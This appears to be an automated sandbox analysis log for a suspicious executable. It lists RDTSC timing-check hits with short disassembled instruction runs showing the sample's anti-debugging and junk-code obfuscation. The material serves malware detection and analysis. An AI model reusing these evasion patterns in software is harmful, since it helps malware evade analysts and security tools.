Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E180CB second address: E180F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FA458503E11h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E180F2 second address: E1810B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC4745h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DBB0BB second address: DBB0CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503DFBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DBB0CA second address: DBB0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FA458BC4749h 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E17924 second address: E17937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007FA458503E02h 0x0000000b js 00007FA458503DF6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E17AAE second address: E17ABA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA458BC4736h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E17C27 second address: E17C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E17C30 second address: E17C6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA458BC473Ah 0x00000008 jmp 00007FA458BC4747h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 jo 00007FA458BC473Eh 0x00000017 jnp 00007FA458BC4736h 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f ja 00007FA458BC473Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E1E031 second address: E1E046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E1E046 second address: E1E05E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FA458BC473Ch 0x00000012 jnl 00007FA458BC4736h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E1E05E second address: E1E06C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458503DFAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E1E06C second address: E1E070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E24ABD second address: E24AEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA458503E09h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b ja 00007FA458503DF8h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E24AEB second address: E24AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E24AEF second address: E24AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E24AF3 second address: E24AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E23D72 second address: E23D77 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E23EEA second address: E23EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E23EEF second address: E23EFA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007FA458503DF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E2405D second address: E24097 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA458BC4748h 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FA458BC4736h 0x00000018 jmp 00007FA458BC473Ah 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E24097 second address: E2409D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E2409D second address: E240B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Bh 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E240B1 second address: E240B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E244DB second address: E244DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E244DF second address: E244EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E244EB second address: E24506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA458BC4747h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF4EA8 second address: DF4EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF4EAD second address: DF4EB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF4EB2 second address: DF4EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF4EB8 second address: DF4EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF4EC5 second address: DF4ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF4ECA second address: DDC758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D30E2h], ebx 0x00000010 lea eax, dword ptr [ebp+12489BEBh] 0x00000016 pushad 0x00000017 push edx 0x00000018 jmp 00007FA458BC473Dh 0x0000001d pop eax 0x0000001e sub edi, dword ptr [ebp+122D1E10h] 0x00000024 popad 0x00000025 pushad 0x00000026 jmp 00007FA458BC4742h 0x0000002b sub dword ptr [ebp+122D355Fh], ebx 0x00000031 popad 0x00000032 push eax 0x00000033 jg 00007FA458BC4742h 0x00000039 jnl 00007FA458BC473Ch 0x0000003f jno 00007FA458BC4736h 0x00000045 mov dword ptr [esp], eax 0x00000048 mov dword ptr [ebp+122D2327h], eax 0x0000004e call dword ptr [ebp+12462A8Ch] 0x00000054 jmp 00007FA458BC473Bh 0x00000059 pushad 0x0000005a push edx 0x0000005b jmp 00007FA458BC473Ah 0x00000060 pop edx 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF52B2 second address: DF52B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF52B6 second address: DF52C0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA458BC4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF52C0 second address: DF52C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF52C6 second address: DF52CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF55AD second address: DF55B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF55B2 second address: DF55D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4746h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FA458BC473Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF55D7 second address: DF55DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF55DB second address: DF55F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC4749h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF55F8 second address: DF563C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 mov edx, dword ptr [ebp+122D23FDh] 0x0000000f nop 0x00000010 pushad 0x00000011 push eax 0x00000012 jnp 00007FA458503DF6h 0x00000018 pop eax 0x00000019 push edx 0x0000001a jmp 00007FA458503DFCh 0x0000001f pop edx 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 jmp 00007FA458503E07h 0x00000028 push esi 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5788 second address: DF578F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF58BC second address: DF58C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF58C2 second address: DF58C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF58C6 second address: DF591E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push edx 0x0000000a pop edi 0x0000000b push 00000004h 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FA458503DF8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 jc 00007FA458503DFCh 0x0000002d mov ecx, dword ptr [ebp+122D1AD5h] 0x00000033 push eax 0x00000034 pushad 0x00000035 jmp 00007FA458503E07h 0x0000003a push eax 0x0000003b push edx 0x0000003c jo 00007FA458503DF6h 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5BF3 second address: DF5C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC473Fh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5C06 second address: DF5C24 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA458503DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA458503DFDh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5C24 second address: DF5C2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5C2A second address: DF5C30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5C30 second address: DF5C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5C34 second address: DF5CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FA458503DF8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 0000001Eh 0x00000025 movsx ecx, cx 0x00000028 mov dword ptr [ebp+122D34A2h], edi 0x0000002e nop 0x0000002f jnl 00007FA458503E0Eh 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FA458503E06h 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5DD0 second address: DF5DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DDD2B8 second address: DDD2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DDD2BC second address: DDD2C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DDD2C0 second address: DDD2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007FA458503DFAh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FA458503E0Bh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DDD2DD second address: DDD306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA458BC473Fh 0x00000009 jmp 00007FA458BC4746h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E29F64 second address: E29F70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FA458503DF6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E2A2A7 second address: E2A2AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E2A59A second address: E2A5C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA458503E00h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E2A71F second address: E2A725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E2A725 second address: E2A729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E2A894 second address: E2A898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E2A898 second address: E2A89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E2AA0E second address: E2AA13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E373CE second address: E373D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3757D second address: E37587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA458BC4736h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E37587 second address: E3759D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3759D second address: E375BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC4744h 0x00000009 jnl 00007FA458BC4736h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E375BB second address: E375C1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E37732 second address: E3775D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA458BC4742h 0x0000000c jmp 00007FA458BC4742h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3775D second address: E37785 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA458503E01h 0x0000000c jnl 00007FA458503DF6h 0x00000012 popad 0x00000013 pushad 0x00000014 ja 00007FA458503DF6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E37E8A second address: E37E91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E38275 second address: E382BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA458503E08h 0x0000000b popad 0x0000000c jg 00007FA458503E1Ch 0x00000012 jmp 00007FA458503E06h 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b jnc 00007FA458503DF6h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3EA01 second address: E3EA07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3DCC3 second address: E3DCC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3DCC7 second address: E3DCED instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA458BC4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FA458BC4749h 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3DCED second address: E3DCF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 popad 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
